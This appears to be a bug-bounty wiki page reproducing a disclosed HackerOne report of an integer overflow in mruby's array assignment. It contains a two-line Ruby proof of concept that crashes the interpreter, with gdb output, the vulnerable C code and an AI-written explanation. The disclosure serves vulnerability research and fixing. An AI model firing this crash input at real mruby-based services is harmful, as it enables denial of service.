Skip to content
Memory corruption Disclosed report Intermediate

Integer Overflow in mrb_ary_set

An integer overflow in mruby's array assignment allows a large index to cause a crash. An attacker could trigger a segmentation fault by assigning to a very large index.

tunz Follow

Originally disclosed on HackerOne

Bounty$100 View original
  • Triaged in 26 hours
  • Fixed in 22 days
  • Paid in 24 days
  • Disclosed after 24 days

Hi,

I found a crash in mruby. I frankly couldn't reproduce it in mruby-engine. I think it is because of memory limitation, but I'm not sure.

Here is a PoC (when the size of MRB_INT is 32).

Ruby
ary = Array.new(0)
ary[0x7fffffff] = 1
$ gdb -q --args ./bin/mruby ./test.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby ./test.rb

Program received signal SIGSEGV, Segmentation fault.
0x00000000004146a8 in ary_fill_with_nil (ptr=0x1357010, size=2147476218) at /home/tunz/working/mruby/mruby/src/array.c:104
104         *ptr++ = nil;
(gdb) list
99      ary_fill_with_nil(mrb_value *ptr, mrb_int size)
100     {
101       mrb_value nil = mrb_nil_value();
102
103       while (size--) {
104         *ptr++ = nil;
105       }
106     }
107
108     static void
(gdb) x/i $pc
=> 0x4146a8 <ary_fill_with_nil+50>:     mov    QWORD PTR [rcx],rax
(gdb) i r rcx
rcx            0x1357000        20279296
(gdb) bt
#0  0x00000000004146a8 in ary_fill_with_nil (ptr=0x1357010, size=2147476218) at /home/tunz/working/mruby/mruby/src/array.c:104
#1  0x0000000000415ab1 in mrb_ary_set (mrb=0x12d2010, ary=..., n=2147483647, val=...)
    at /home/tunz/working/mruby/mruby/src/array.c:564
#2  0x0000000000416266 in mrb_ary_aset (mrb=0x12d2010, self=...) at /home/tunz/working/mruby/mruby/src/array.c:798
#3  0x000000000043032c in mrb_vm_exec (mrb=0x12d2010, proc=0x12d5210, pc=0x133a020) at /home/tunz/working/mruby/mruby/src/vm.c:1171
#4  0x000000000042e850 in mrb_vm_run (mrb=0x12d2010, proc=0x12d5210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:772
#5  0x00000000004367f6 in mrb_top_run (mrb=0x12d2010, proc=0x12d5210, self=..., stack_keep=0)
    at /home/tunz/working/mruby/mruby/src/vm.c:2487
#6  0x0000000000446ea4 in mrb_load_exec (mrb=0x12d2010, p=0x132e2c0, c=0x132cf30)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5755
#7  0x0000000000446f3a in mrb_load_file_cxt (mrb=0x12d2010, f=0x132df00, c=0x132cf30)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:5764
#8  0x00000000004024f8 in main (argc=2, argv=0x7fff6f302128)
    at /home/tunz/working/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232

I think the root cause of this bug is the following line:

C
 548 MRB_API void
 549 mrb_ary_set(mrb_state *mrb, mrb_value ary, mrb_int n, mrb_value val)
 550 {
...
 562     if (a->aux.capa <= n)
 563       ary_expand_capa(mrb, a, n + 1); // <- n + 1 can be overflowed?
 564     ary_fill_with_nil(a->ptr + a->len, n + 1 - a->len);
 565     a->len = n + 1;
 566   }

The original report as published on HackerOne, by tunz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an integer overflow when calculating the new array size (n + 1) for a very large index, leading to insufficient memory allocation and a subsequent out-of-bounds write.

Impact

An attacker could cause a denial of service by crashing the mruby interpreter.

What the attacker needed

Ability to run mruby code

How it was found

  1. Create an empty array.
  2. Assign a value to index 0x7fffffff (the maximum 32-bit signed integer).
  3. Run the script with mruby, which crashes with a segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

mruby is a lightweight version of the Ruby programming language. When you assign a value to an array at a very large index, the program tries to fill all the empty slots up to that index. Because of a calculation mistake, it ends up writing past the memory it allocated, which crashes the program.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by tunz

View all

6 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.